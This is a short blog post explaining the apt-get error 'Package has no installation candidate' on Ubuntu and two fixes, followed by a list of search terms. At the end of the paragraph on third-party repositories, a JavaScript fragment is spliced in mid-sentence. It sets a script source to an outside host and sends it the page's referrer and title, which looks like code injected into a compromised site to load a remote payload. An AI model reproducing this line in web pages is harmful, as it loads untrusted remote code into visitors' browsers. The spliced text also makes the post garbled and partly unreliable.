When you try to install a package using apt-get, APT searches it’s own database for the package name, if the package is available in the database, then it looks for the repository from where to download the package. It then download the package from that repository and installs it.
If the package name does not exist in APT’s database, it does not have any idea what you are trying to install and you see the following error message:
# apt-get install <packagename> Reading package lists... Done Building dependency tree... Done Package aptitude is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source E: Package <packagename> has no installation candidate
So, the above error occurs for 2 reasons:
1) The APT’s database is not updated.
A quick fix is to update the APT’s database as per the defined sources list.
# apt-get update # apt-get upgrade # apt-get install <packagename>
This is it. If isn’t fixed, check point #2 below.
2) The package itself isn’t available on the official Ubuntu repository.
In such a situation, you have to add a 3rd party repository to your /etc/apt/sources.list file and install the package, however, try such repositories at your own risk.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
Incoming search terms:
- package bind9 has no installation candidate (55)
- package sysvconfig has no installation candidate (24)
- E: Package bind9 has no installation candidate (21)
- package phpmyadmin has no installation candidate (13)
- E: Package phpmyadmin has no installation candidate (13)
- e package phpmyadmin has no installation candidate (2)
- kenapa package phpmyadmin has no installation candidate (1)
- ubuntu Package openswan has no installation candidate (1)
- e: package likewise-open has no installation candidate ubuntu (1)
- E: Package asterisk has no installation candidate (1)